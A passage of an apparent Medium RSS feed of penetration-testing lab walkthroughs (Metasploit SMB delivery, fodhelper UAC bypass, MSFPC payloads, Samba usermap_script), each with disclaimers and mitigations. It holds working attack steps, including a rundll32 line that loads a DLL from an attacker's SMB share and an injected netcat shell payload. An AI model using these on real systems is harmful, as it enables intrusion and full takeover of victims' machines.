checks — on your own lab VM is highly recommended.</em></p><h3>About the Author</h3><p>Hi, I’m <strong>Priyanka Chandrakar</strong> — a cybersecurity enthusiast, ethical hacker, bug bounty hunter, and OSCP aspirant with a passion for penetration testing, Windows security, Active Directory, web application security, and offensive security research.</p><p>I enjoy documenting practical lab exercises, sharing hands-on learning experiences, and breaking down complex cybersecurity concepts into beginner-friendly guides. Through my articles, I aim to help aspiring security professionals build strong practical skills while promoting ethical and responsible security testing.</p><h3>Connect with Me</h3><p>💻 <strong>GitHub:</strong> <a href="https://github.com/priyankachandrakar">https://github.com/priyankachandrakar</a></p><p>🔗 <strong>LinkedIn:</strong> <a href="https://www.linkedin.com/in/priyankachandrakar">https://www.linkedin.com/in/priyankachandrakar</a></p><p>𝕏 <strong>X (Twitter):</strong> <a href="https://x.com/priyankach76806">https://x.com/priyankach76806</a></p><p>✍️ <strong>Medium:</strong> <a href="https://medium.com/@priyankachandrakar">https://medium.com/@priyankachandrakar</a></p><h3>Enjoyed This Article?</h3><p>If you found this walkthrough helpful, please consider:</p><p>👏 Clapping for the article</p><p>💬 Sharing your thoughts in the comments</p><p>🔖 Saving it for future reference</p><p>🔄 Sharing it with fellow cybersecurity enthusiasts</p><p>👤 Following me on Medium for more practical cybersecurity content.</p><h3>Topics I Write About</h3><ul><li>OSCP Preparation</li><li>Ethical Hacking</li><li>Penetration Testing</li><li>Windows Enumeration</li><li>Linux Privilege Escalation</li><li>Active Directory Security</li><li>SMB Enumeration</li><li>Web Application Security</li><li>Bug Bounty Hunting</li><li>Metasploit Framework</li><li>Nmap &amp; Network Enumeration</li><li>Red Teaming</li><li>Capture The Flag (CTF) Write-ups</li><li>Cybersecurity Research</li></ul><h3>Thank You!</h3><p>Thank you for taking the time to read this article.</p><p>I hope it helped you better understand the and how Metasploit can be used in a safe, controlled lab environment for learning penetration testing concepts.</p><p><strong>Keep learning, keep practicing, and always hack responsibly — with proper authorization.</strong> 🚀</p><p>…</p><p>#OSCP #CyberSecurity #EthicalHacking #PenetrationTesting #SMB #Enumeration #WindowsSecurity #ActiveDirectory #BugBounty #InfoSec #RedTeam #KaliLinux #CyberDefense</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=378000b803c3" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How to Change Windows Wallpaper of a Remote PC (Post-Exploitation Demo)]]></title>
            <link>https://priyankachandrakar.medium.com/how-to-change-windows-wallpaper-of-a-remote-pc-post-exploitation-demo-5bfd37877353?source=rss-4cb6ecadb0ca------2</link>
            <guid isPermaLink="false">https://medium.com/p/5bfd37877353</guid>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[metasploit]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[oscp]]></category>
            <dc:creator><![CDATA[Priyankachandrakar]]></dc:creator>
            <pubDate>Mon, 27 Jul 2026 12:34:49 GMT</pubDate>
            <atom:updated>2026-07-27T12:34:49.976Z</atom:updated>
            <content:encoded><![CDATA[<p><em>A fun, low-impact post-exploitation exercise showing how to change a victim’s desktop wallpaper once a Meterpreter session is established.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5KTD96wUsYtWER7cjYqSpA.png" /></figure><h3>Introduction</h3><p>Once an attacker has an active Meterpreter session, Metasploit’s post-exploitation modules can perform a wide range of actions on the target. Changing the desktop wallpaper is a harmless but visually convincing way to demonstrate that “control” of the system has been achieved — often used in demos and CTF-style walkthroughs.</p><blockquote><em>⚠️ </em><strong><em>Disclaimer:</em></strong><em> Only perform this on your own lab VMs with proper authorization.</em></blockquote><h3>Step 1: Search for the SMB delivery exploit</h3><p>bash</p><pre>search smb delivery</pre><p>This finds the relevant module:</p><pre>exploit/windows/smb/smb_delivery</pre><h3>Step 2: Select the exploit</h3><p>bash</p><pre>use 0</pre><p>This selects the 0th result from the search list.</p><h3>Step 3: Module activated</h3><pre>exploit/windows/smb/smb_delivery</pre><h3>Step 4: View options</h3><p>bash</p><pre>options</pre><p>Important fields:</p><ul><li>SRVHOST → 0.0.0.0</li><li>SRVPORT → 445</li><li>FILE_NAME → test.dll</li></ul><p>bash</p><pre>set RHOSTS &lt;target-ip&gt;<br>set LHOST &lt;your-ip&gt;<br>exploit</pre><h3>Step 5: Check for a session</h3><p>bash</p><pre>sessions</pre><p>An active session confirms the victim connected.</p><h3>Step 6: Meterpreter session opens</h3><pre>Meterpreter session 1 opened</pre><p>System access is now available.</p><h3>Changing the Wallpaper</h3><h3>Step 7: Search for the wallpaper post module</h3><p>bash</p><pre>search post wallpaper</pre><h3>Step 8: Use the module</h3><p>bash</p><pre>use 0</pre><h3>Step 9: Check options</h3><p>bash</p><pre>options</pre><h3>Step 10: Set the wallpaper and run</h3><p>bash</p><pre>set wallpaper_file /root/Downloads/file.jpg<br>set sessions 1<br>run</pre><p>This sets the victim’s wallpaper to the specified image.</p><h3>Step 11: Confirmation</h3><p>Output:</p><pre>The wallpaper has been set</pre><p>This confirms control over the victim’s desktop.</p><h3>Mitigation</h3><ul><li>Restrict which processes/users can modify desktop and registry settings.</li><li>Monitor for unauthorized post-exploitation module activity via EDR/logging.</li><li>Keep systems patched to prevent the initial foothold (SMB delivery) in the first place.</li></ul><h3>Conclusion</h3><p>While changing a wallpaper has no real security impact on its own, it’s a classic way to demonstrate active control over a compromised machine during training and demos — and it reinforces how Metasploit’s post-exploitation modules work once a session is established.</p><h3>About the Author</h3><p>Hi, I’m <strong>Priyanka Chandrakar</strong> — a cybersecurity enthusiast, ethical hacker, bug bounty hunter, and OSCP aspirant with a passion for penetration testing, Windows security, Active Directory, web application security, and offensive security research.</p><p>I enjoy documenting practical lab exercises, sharing hands-on learning experiences, and breaking down complex cybersecurity concepts into beginner-friendly guides. Through my articles, I aim to help aspiring security professionals build strong practical skills while promoting ethical and responsible security testing.</p><h3>Connect with Me</h3><p>💻 <strong>GitHub:</strong> <a href="https://github.com/priyankachandrakar">https://github.com/priyankachandrakar</a></p><p>🔗 <strong>LinkedIn:</strong> <a href="https://www.linkedin.com/in/priyankachandrakar">https://www.linkedin.com/in/priyankachandrakar</a></p><p>𝕏 <strong>X (Twitter):</strong> <a href="https://x.com/priyankach76806">https://x.com/priyankach76806</a></p><p>✍️ <strong>Medium:</strong> <a href="https://medium.com/@priyankachandrakar">https://medium.com/@priyankachandrakar</a></p><h3>Enjoyed This Article?</h3><p>If you found this walkthrough helpful, please consider:</p><p>👏 Clapping for the article</p><p>💬 Sharing your thoughts in the comments</p><p>🔖 Saving it for future reference</p><p>🔄 Sharing it with fellow cybersecurity enthusiasts</p><p>👤 Following me on Medium for more practical cybersecurity content.</p><h3>Topics I Write About</h3><ul><li>OSCP Preparation</li><li>Ethical Hacking</li><li>Penetration Testing</li><li>Windows Enumeration</li><li>Linux Privilege Escalation</li><li>Active Directory Security</li><li>SMB Enumeration</li><li>Web Application Security</li><li>Bug Bounty Hunting</li><li>Metasploit Framework</li><li>Nmap &amp; Network Enumeration</li><li>Red Teaming</li><li>Capture The Flag (CTF) Write-ups</li><li>Cybersecurity Research</li></ul><h3>Thank You!</h3><p>Thank you for taking the time to read this article.</p><p>I hope it helped you better understand the and how Metasploit can be used in a safe, controlled lab environment for learning penetration testing concepts.</p><p><strong>Keep learning, keep practicing, and always hack responsibly — with proper authorization.</strong> 🚀</p><p>…</p><p>#OSCP #CyberSecurity #EthicalHacking #PenetrationTesting #SMB #Enumeration #WindowsSecurity #ActiveDirectory #BugBounty #InfoSec #RedTeam #KaliLinux #CyberDefense</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5bfd37877353" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Multiple Ways to Bypass UAC using Metasploit]]></title>
            <link>https://priyankachandrakar.medium.com/multiple-ways-to-bypass-uac-using-metasploit-360bf6cd06e6?source=rss-4cb6ecadb0ca------2</link>
            <guid isPermaLink="false">https://medium.com/p/360bf6cd06e6</guid>
            <category><![CDATA[ejpt]]></category>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[kali-linux]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <dc:creator><![CDATA[Priyankachandrakar]]></dc:creator>
            <pubDate>Sun, 26 Jul 2026 12:22:40 GMT</pubDate>
            <atom:updated>2026-07-26T12:22:40.253Z</atom:updated>
            <content:encoded><![CDATA[<p><em>A beginner-friendly guide on gaining an initial Meterpreter session via SMB delivery, enumerating privileges, and bypassing UAC to escalate to SYSTEM.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5KTD96wUsYtWER7cjYqSpA.png" /></figure><h3>Introduction</h3><p>User Account Control (UAC) is a Windows security feature designed to prevent unauthorized changes by requiring admin confirmation. However, several known techniques allow a local attacker (who already has a session as a standard admin-group user) to bypass UAC and escalate to NT AUTHORITY\SYSTEM. This walkthrough uses the <strong>fodhelper.exe registry hijack</strong> technique via Metasploit.</p><blockquote><em>⚠️ </em><strong><em>Disclaimer:</em></strong><em> Only perform this on your own lab VMs with proper authorization.</em></blockquote><h3>Phase 1: Getting Initial Access via SMB Delivery</h3><h3>Step 1: Start Metasploit</h3><pre>msfconsole</pre><h3>Step 2: Search for the SMB delivery module</h3><pre>search smb delivery</pre><p>Metasploit shows:</p><pre>exploit/windows/smb/smb_delivery</pre><h3>Step 3: Load the exploit</h3><pre>use exploit/windows/smb/smb_delivery</pre><h3>Phase 2: Configuring SMB Delivery</h3><h3>Step 4: View options</h3><pre>options</pre><p>Key fields:</p><ul><li>SRVHOST → attacker IP</li><li>SRVPORT → 445 (SMB)</li><li>LHOST → reverse shell receive IP</li><li>LPORT → reverse shell port</li></ul><h3>Step 5: Set SRVHOST</h3><pre>set srvhost eth0</pre><p>This auto-sets Kali’s IP, e.g., 192.168.30.148.</p><h3>Step 6: Run the exploit</h3><pre>run</pre><p>Result:</p><ul><li>SMB server starts</li><li>Reverse handler starts</li><li>A payload command is generated:</li></ul><pre>rundll32.exe \\192.168.30.148\UEWa\test.dll,0</pre><h3>Phase 3: Victim-Side Execution</h3><h3>Step 7: Victim runs the command</h3><p>On the victim’s Windows 10 machine, the following is run via <strong>Run box (Win + R)</strong>:</p><pre>rundll32.exe \\192.168.30.148\UEWa\test.dll,0</pre><p>This causes the victim to load the DLL from the SMB share, which executes the payload.</p><h3>Step 8: Reverse connection received</h3><pre>Meterpreter session 1 opened</pre><h3>Phase 4: Accessing the Meterpreter Session</h3><pre>sessions<br>sessions -i 1<br>getuid</pre><p>Output:</p><pre>DESKTOP-4BHPRS3\shivi</pre><p>This confirms a normal user session — admin group, but not SYSTEM yet.</p><h3>Phase 5: Privilege Enumeration</h3><pre>getprivs</pre><p>Output shows privileges such as:</p><ul><li>SeImpersonatePrivilege</li><li>SeDebugPrivilege</li></ul><p>These indicate that privilege escalation is likely possible.</p><h3>Phase 6: Searching for UAC Bypass Modules</h3><pre>search bypass uac</pre><p>Metasploit lists several available UAC bypass exploit modules.</p><h3>Choose the Fodhelper UAC bypass</h3><pre>use exploit/windows/local/bypassuac_fodhelper</pre><p>This module uses the fodhelper.exe registry hijack technique to bypass UAC.</p><h3>Phase 7: Configuring the UAC Bypass</h3><pre>options</pre><p>Key setting:</p><ul><li>SESSION → which existing session to run the bypass on</li></ul><pre>set session 1<br>run</pre><h3>Phase 8: Gaining SYSTEM Privileges</h3><h3>Step: New Meterpreter session</h3><pre>sessions<br>sessions -i &lt;new_id&gt;</pre><h3>Step: Escalate to SYSTEM</h3><pre>getsystem</pre><p>Output:</p><pre>got system via technique 1 (Named Pipe Impersonation)</pre><h3>Final confirmation</h3><pre>getuid</pre><p>Output:</p><pre>NT AUTHORITY\SYSTEM</pre><p><strong>Full SYSTEM-level control achieved.</strong></p><h3>Mitigation</h3><ul><li>Keep Windows fully patched — many UAC bypass techniques rely on known, patchable weaknesses.</li><li>Set UAC to “Always notify” instead of default settings.</li><li>Use application whitelisting to prevent execution of unauthorized binaries triggering registry hijacks.</li><li>Monitor for unusual registry key modifications under HKCU related to file associations (a common UAC-bypass pattern).</li></ul><h3>Conclusion</h3><p>This walkthrough covers a complete local privilege escalation chain: gaining initial access via SMB delivery, enumerating privileges, and using a known UAC bypass technique to escalate from a standard user to SYSTEM. Understanding this chain is valuable both for offensive practice and for building better detections on the defensive side.</p><h3>About the Author</h3><p>Hi, I’m <strong>Priyanka Chandrakar</strong> — a cybersecurity enthusiast, ethical hacker, bug bounty hunter, and OSCP aspirant with a passion for penetration testing, Windows security, Active Directory, web application security, and offensive security research.</p><p>I enjoy documenting practical lab exercises, sharing hands-on learning experiences, and breaking down complex cybersecurity concepts into beginner-friendly guides. Through my articles, I aim to help aspiring security professionals build strong practical skills while promoting ethical and responsible security testing.</p><h3>Connect with Me</h3><p>💻 <strong>GitHub:</strong> <a href="https://github.com/priyankachandrakar">https://github.com/priyankachandrakar</a></p><p>🔗 <strong>LinkedIn:</strong> <a href="https://www.linkedin.com/in/priyankachandrakar">https://www.linkedin.com/in/priyankachandrakar</a></p><p>𝕏 <strong>X (Twitter):</strong> <a href="https://x.com/priyankach76806">https://x.com/priyankach76806</a></p><p>✍️ <strong>Medium:</strong> <a href="https://medium.com/@priyankachandrakar">https://medium.com/@priyankachandrakar</a></p><h3>Enjoyed This Article?</h3><p>If you found this walkthrough helpful, please consider:</p><p>👏 Clapping for the article</p><p>💬 Sharing your thoughts in the comments</p><p>🔖 Saving it for future reference</p><p>🔄 Sharing it with fellow cybersecurity enthusiasts</p><p>👤 Following me on Medium for more practical cybersecurity content.</p><h3>Topics I Write About</h3><ul><li>OSCP Preparation</li><li>Ethical Hacking</li><li>Penetration Testing</li><li>Windows Enumeration</li><li>Linux Privilege Escalation</li><li>Active Directory Security</li><li>SMB Enumeration</li><li>Web Application Security</li><li>Bug Bounty Hunting</li><li>Metasploit Framework</li><li>Nmap &amp; Network Enumeration</li><li>Red Teaming</li><li>Capture The Flag (CTF) Write-ups</li><li>Cybersecurity Research</li></ul><h3>Thank You!</h3><p>Thank you for taking the time to read this article.</p><p>I hope it helped you better understand the and how Metasploit can be used in a safe, controlled lab environment for learning penetration testing concepts.</p><p><strong>Keep learning, keep practicing, and always hack responsibly — with proper authorization.</strong> 🚀</p><p>…</p><p>#OSCP #CyberSecurity #EthicalHacking #PenetrationTesting #SMB #Enumeration #WindowsSecurity #ActiveDirectory #BugBounty #InfoSec #RedTeam #KaliLinux #CyberDefense</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=360bf6cd06e6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Exploiting a Windows Host via HTTP-Delivered Meterpreter Payload (MSFPC) — Metasploit Walkthrough]]></title>
            <link>https://priyankachandrakar.medium.com/exploiting-a-windows-host-via-http-delivered-meterpreter-payload-msfpc-metasploit-walkthrough-d4da9bcdb8c3?source=rss-4cb6ecadb0ca------2</link>
            <guid isPermaLink="false">https://medium.com/p/d4da9bcdb8c3</guid>
            <category><![CDATA[kali-linux]]></category>
            <category><![CDATA[red-teamer]]></category>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <dc:creator><![CDATA[Priyankachandrakar]]></dc:creator>
            <pubDate>Sun, 26 Jul 2026 12:15:58 GMT</pubDate>
            <atom:updated>2026-07-26T12:15:58.099Z</atom:updated>
            <content:encoded><![CDATA[<p><em>A beginner-friendly guide on creating a Meterpreter reverse TCP payload with MSFPC, delivering it over HTTP, and performing post-exploitation enumeration.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CxnEfIQggPBvUi9RMqmjhg.png" /></figure><h3>Introduction</h3><p>This exercise demonstrates a common real-world attack pattern: generating a malicious payload, delivering it to a victim (often via social engineering), and then performing post-exploitation once a session is established. Instead of manually running msfvenom and setting up a handler by hand, this walkthrough uses <strong>MSFPC (MSFvenom Payload Creator)</strong> — a wrapper script that automates both payload generation and listener setup.</p><p>Reference: <a href="https://www.hackingarticles.in/comprehensive-guide-on-msfpc/">Comprehensive Guide on MSFPC — Hacking Articles</a></p><blockquote><em>⚠️ </em><strong><em>Disclaimer:</em></strong><em> Only perform this on your own lab VMs (attacker: Kali, victim: a Windows VM you control) with proper authorization. Delivering payloads to real users without consent is illegal.</em></blockquote><h3>Part 1: Payload Creation</h3><h3>Step 1: Generate the payload with MSFPC</h3><pre>msfpc windows eth0</pre><p>MSFPC is a wrapper around msfvenom that automatically:</p><ul><li>Builds the malicious payload</li><li>Sets up the corresponding Metasploit listener configuration</li></ul><h3>Step 2: Payload EXE gets created</h3><pre>windows-meterpreter-staged-reverse-tcp-443.exe</pre><p>This is the malicious Windows executable. When the victim runs it, it will call back to the Kali machine. It’s saved at:</p><pre>/root/windows-meterpreter-staged-reverse-tcp-443.exe</pre><h3>Step 3: Auto-generated handler (.rc) file</h3><pre>windows-meterpreter-staged-reverse-tcp-443.exe.rc</pre><p>This .rc file tells Metasploit:</p><ul><li>Which payload to expect</li><li>Which port to listen on</li><li>How to start the handler automatically</li></ul><h3>Part 2: Setting Up the Listener</h3><h3>Step 4: Start the Metasploit handler</h3><pre>msfconsole -q -r windows-meterpreter-staged-reverse-tcp-443.exe.rc</pre><p>This starts msfconsole quietly and runs the .rc file, which means:</p><ul><li>The listener is ready in the background</li><li>Metasploit is now waiting for the victim to connect</li></ul><h3>Part 3: Payload Delivery</h3><h3>Step 5: Start an HTTP server</h3><pre>python2 -m SimpleHTTPServer 8080</pre><p>This starts a temporary web server on the Kali machine. The victim will download the EXE from here.</p><p>URL:</p><pre>http://192.168.30.148:8080/</pre><h3>Step 6: Victim opens the URL in a browser</h3><p>On the Windows machine, the following URL is entered in the browser’s address bar:</p><pre>http://192.168.30.148:8080</pre><ul><li>192.168.30.148 = Kali machine&#39;s IP</li><li>8080 = port used by Python&#39;s SimpleHTTPServer</li></ul><p>This simulates a social-engineering-style delivery, where a victim is convinced to download and run a file from a link.</p><h3>Step 7: Victim downloads the EXE</h3><pre>windows-meterpreter-staged-reverse-tcp-443.exe</pre><p>The browser will typically show a warning like <em>“isn’t commonly downloaded”</em> — this is normal. Browsers flag unfamiliar EXE files as a built-in security measure (SmartScreen or similar).</p><h3>Part 4: Post-Exploitation</h3><h3>Step 8: Check active sessions</h3><pre>sessions</pre><p>Once the victim runs the EXE, a session is established. Output shows something like:</p><pre>Session ID: 1<br>Type: meterpreter x86/windows<br>User: DESKTOP-4BHPRS3\shivi</pre><h3>Step 9: Enter the session</h3><pre>sessions -i 1</pre><p>You are now inside the victim’s system, with a Meterpreter shell.</p><h3>Step 10: Check the logged-in user</h3><pre>getuid</pre><p>Output:</p><pre>Server username: DESKTOP-4BHPRS3\shivi</pre><p>This shows the victim’s current Windows user. Whether this user is an admin or a standard user is checked in a later privilege-check step (e.g., getsystem, whoami /priv).</p><h3>Other useful post-exploitation commands</h3><p>Command Purpose screenshot Captures the victim&#39;s current desktop upload &lt;file&gt; Uploads a file from Kali to the victim download &lt;file&gt; Downloads a file from the victim to Kali shell Drops into the victim&#39;s Windows command prompt whoami /priv Lists the current user&#39;s privileges</p><h3>Mitigation (How to prevent this in the real world)</h3><ul><li>Train users to never download or run executables from untrusted links.</li><li>Enable and enforce browser download warnings/SmartScreen — don’t let users bypass them casually.</li><li>Deploy endpoint detection and antivirus solutions capable of catching known Meterpreter payload signatures.</li><li>Restrict outbound connections on unusual ports (e.g., 443 used for non-HTTPS traffic) at the network level.</li><li>Use application whitelisting to block execution of unauthorized/unsigned binaries.</li></ul><h3>Conclusion</h3><p>This exercise ties together the full attack chain: payload generation with MSFPC, listener automation via .rc files, HTTP-based delivery simulating social engineering, and post-exploitation enumeration with Meterpreter. It&#39;s a great hands-on way to understand how attackers move from &quot;payload created&quot; to &quot;active session&quot; to &quot;information gathered&quot; — and why user awareness and endpoint defenses matter so much in the real world.</p><p><em>If you’re preparing for eJPT or OSCP, practicing the full workflow — payload creation, delivery, and post-exploitation — on your own lab VMs is highly recommended.</em></p><h3>About the Author</h3><p>Hi, I’m <strong>Priyanka Chandrakar</strong> — a cybersecurity enthusiast, ethical hacker, bug bounty hunter, and OSCP aspirant with a passion for penetration testing, Windows security, Active Directory, web application security, and offensive security research.</p><p>I enjoy documenting practical lab exercises, sharing hands-on learning experiences, and breaking down complex cybersecurity concepts into beginner-friendly guides. Through my articles, I aim to help aspiring security professionals build strong practical skills while promoting ethical and responsible security testing.</p><h3>Connect with Me</h3><p>💻 <strong>GitHub:</strong> <a href="https://github.com/priyankachandrakar">https://github.com/priyankachandrakar</a></p><p>🔗 <strong>LinkedIn:</strong> <a href="https://www.linkedin.com/in/priyankachandrakar">https://www.linkedin.com/in/priyankachandrakar</a></p><p>𝕏 <strong>X (Twitter):</strong> <a href="https://x.com/priyankach76806">https://x.com/priyankach76806</a></p><p>✍️ <strong>Medium:</strong> <a href="https://medium.com/@priyankachandrakar">https://medium.com/@priyankachandrakar</a></p><h3>Enjoyed This Article?</h3><p>If you found this walkthrough helpful, please consider:</p><p>👏 Clapping for the article</p><p>💬 Sharing your thoughts in the comments</p><p>🔖 Saving it for future reference</p><p>🔄 Sharing it with fellow cybersecurity enthusiasts</p><p>👤 Following me on Medium for more practical cybersecurity content.</p><h3>Topics I Write About</h3><ul><li>OSCP Preparation</li><li>Ethical Hacking</li><li>Penetration Testing</li><li>Windows Enumeration</li><li>Linux Privilege Escalation</li><li>Active Directory Security</li><li>SMB Enumeration</li><li>Web Application Security</li><li>Bug Bounty Hunting</li><li>Metasploit Framework</li><li>Nmap &amp; Network Enumeration</li><li>Red Teaming</li><li>Capture The Flag (CTF) Write-ups</li><li>Cybersecurity Research</li></ul><h3>Thank You!</h3><p>Thank you for taking the time to read this article.</p><p>I hope it helped you better understand the and how Metasploit can be used in a safe, lab environment for learning penetration testing concepts.</p><p><strong>Keep learning, keep practicing, and always hack responsibly — with proper authorization.</strong> 🚀</p><p>…</p><p>#OSCP #CyberSecurity #EthicalHacking #PenetrationTesting #SMB #Enumeration #WindowsSecurity #ActiveDirectory #BugBounty #InfoSec #RedTeam #KaliLinux #CyberDefense</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d4da9bcdb8c3" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Samba “username map script” Command Execution — Metasploit Walkthrough]]></title>
            <link>https://priyankachandrakar.medium.com/samba-username-map-script-command-execution-metasploit-walkthrough-4232c6e2df44?source=rss-4cb6ecadb0ca------2</link>
            <guid isPermaLink="false">https://medium.com/p/4232c6e2df44</guid>
            <category><![CDATA[metasploit]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[kali-linux]]></category>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Priyankachandrakar]]></dc:creator>
            <pubDate>Sat, 25 Jul 2026 08:39:27 GMT</pubDate>
            <atom:updated>2026-07-25T08:39:27.663Z</atom:updated>
            <content:encoded><![CDATA[<p><em>A beginner-friendly guide explaining the Samba </em><em>usermap_script RCE vulnerability on the Metasploitable2 lab environment.</em></p><h3>Introduction</h3><p>Older versions of <strong>Samba</strong> (specifically 3.0.20 through 3.0.25rc3) contain a vulnerability in the username map script configuration option. If this option is enabled in smb.conf, an attacker can inject shell metacharacters into the username field during authentication, which get passed directly to a shell — resulting in <strong>remote command execution</strong> with no authentication required.</p><p>This is another classic lab exercise found on <strong>Metasploitable2</strong>, commonly used in eJPT/OSCP-style training.</p><p><strong>CVE Reference:</strong> CVE-2007–2447</p><blockquote><em>⚠️ </em><strong><em>Disclaimer:</em></strong><em> Only run this exploit against your own lab environment (like a Metasploitable2 VM). Running it against any system without permission is illegal.</em></blockquote><h3>How the vulnerability works</h3><p>Samba’s usermap_script feature is meant to map Unix usernames from Windows domain usernames using an external script. The vulnerable versions fail to sanitize the username input before passing it to this script — so an attacker can supply a crafted username like:</p><pre>/=`nohup nc -l -p 4444 -e /bin/sh`</pre><p>Since the input is passed unsanitized to a shell, this results in arbitrary command execution on the target.</p><p>The Metasploit module exploit/multi/samba/usermap_script automates this entire process.</p><h3>Step-by-Step: Running the Exploit in Metasploit Console</h3><h3>1. Start the Metasploit console</h3><pre>msfconsole</pre><h3>2. Load the exploit module</h3><pre>msf &gt; use exploit/multi/samba/usermap_script</pre><p>This loads the Samba usermap_script exploit module, which provides remote code execution on old, vulnerable Samba versions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*s3R2ePW-y78HWRImwgLqBA.png" /></figure><h3>3. Check available options</h3><pre>msf exploit(usermap_script) &gt; show options</pre><p>This displays required settings such as RHOSTS (target IP) and RPORT (default 139).</p><h3>4. Set the target IP</h3><pre>msf exploit(usermap_script) &gt; set RHOSTS 192.168.20.135</pre><p>Replace this with your Metasploitable2 VM’s actual IP address.</p><h3>5. Run the exploit</h3><pre>msf exploit(usermap_script) &gt; exploit</pre><p>If the target is vulnerable, you get a command shell on the target system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qEbEg3f3DnZK_N7CPUKbuQ.png" /></figure><h3>6. Verify access</h3><pre>whoami<br># Output: root</pre><p>If this returns root, the exploit was successful and you now have command execution on the target.</p><h3>Mitigation (How to prevent this in the real world)</h3><ul><li>Upgrade Samba to a patched version (3.0.25rc4 or later).</li><li>Avoid enabling the username map script option unless absolutely necessary.</li><li>Sanitize all user-supplied input before passing it to shell scripts.</li><li>Restrict SMB service exposure using firewalls and network segmentation.</li></ul><h3>Conclusion</h3><p>The Samba usermap_script vulnerability is a textbook example of unsanitized input leading directly to remote code execution. It&#39;s a simple but powerful exercise for understanding how misconfigured services can be exploited, and it&#39;s a great addition to any beginner&#39;s Metasploit practice on Metasploitable2.</p><h3>About the Author</h3><p>Hi, I’m <strong>Priyanka Chandrakar</strong> — a cybersecurity enthusiast, ethical hacker, bug bounty hunter, and OSCP aspirant with a passion for penetration testing, Windows security, Active Directory, web application security, and offensive security research.</p><p>I enjoy documenting practical lab exercises, sharing hands-on learning experiences, and breaking down complex cybersecurity concepts into beginner-friendly guides. Through my articles, I aim to help aspiring security professionals build strong practical skills while promoting ethical and responsible security testing.</p><h3>Connect with Me</h3><p>💻 <strong>GitHub:</strong> <a href="https://github.com/priyankachandrakar">https://github.com/priyankachandrakar</a></p><p>🔗 <strong>LinkedIn:</strong> <a href="https://www.linkedin.com/in/priyankachandrakar">https://www.linkedin.com/in/priyankachandrakar</a></p><p>𝕏 <strong>X (Twitter):</strong> <a href="https://x.com/priyankach76806">https://x.com/priyankach76806</a></p><p>✍️ <strong>Medium:</strong> <a href="https://medium.com/@priyankachandrakar">https://medium.com/@priyankachandrakar</a></p><h3>Enjoyed This Article?</h3><p>If you found this walkthrough helpful, please consider:</p><p>👏 Clapping for the article</p><p>💬 Sharing your thoughts in the comments</p><p>🔖 Saving it for future reference</p><p>🔄 Sharing it with fellow cybersecurity enthusiasts</p><p>👤 Following me on Medium for more practical cybersecurity content.</p><h3>Topics I Write About</h3><ul><li>OSCP Preparation</li><li>Ethical Hacking</li><li>Penetration Testing</li><li>Windows Enumeration</li><li>Linux Privilege Escalation</li><li>Active Directory Security</li><li>SMB Enumeration</li><li>Web Application Security</li><li>Bug Bounty Hunting</li><li>Metasploit Framework</li><li>Nmap &amp; Network Enumeration</li><li>Red Teaming</li><li>Capture The Flag (CTF) Write-ups</li><li>Cybersecurity Research</li></ul><h3>Thank You!</h3><p>Thank you for taking the time to read this article.</p><p>I hope it helped you better understand the and how Metasploit can be used in a safe, Samba “username map script” Command Execution controlled lab environment for learning penetration testing concepts.</p><p><strong>Keep learning, keep practicing, and always hack responsibly — with proper authorization.</strong> 🚀</p><p>…</p><p>#OSCP #CyberSecurity #EthicalHacking #PenetrationTesting #SMB #Enumeration #WindowsSecurity #ActiveDirectory #BugBounty #InfoSec #RedTeam #KaliLinux #CyberDefense</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4232c6e2df44" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[VSFTPD v2.3.4 Backdoor Command Execution — Metasploit Walkthrough]]></title>
            <link>https://priyankachandrakar.medium.com/vsftpd-v2-3-4-backdoor-command-execution-metasploit-walkthrough-4fb6c62165b5?source=rss-4cb6ecadb0ca------2</link>
            <guid isPermaLink="false">https://medium.com/p/4fb6c62165b5</guid>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[metasploit]]></category>
            <category><![CDATA[linux]]></category>
            <dc:creator><![CDATA[Priyankachandrakar]]></dc:creator>
            <pubDate>Sat, 25 Jul 2026 08:23:05 GMT</pubDate>
            <atom:updated>2026-07-25T08:23:05.831Z</atom:updated>
